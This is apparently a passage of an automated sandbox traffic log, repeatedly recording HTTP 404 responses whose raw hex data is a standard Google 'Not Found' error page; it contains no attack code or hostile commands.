Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1575Date: Sat, 16 Jul 2022 21:57:22 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1575Date: Sat, 16 Jul 2022 21:57:24 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1575Date: Sat, 16 Jul 2022 21:57:26 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1575Date: Sat, 16 Jul 2022 21:57:29 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1575Date: Sat, 16 Jul 2022 21:57:33 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1575Date: Sat, 16 Jul 2022 21:57:40 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1575Date: Sat, 16 Jul 2022 21:57:42 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 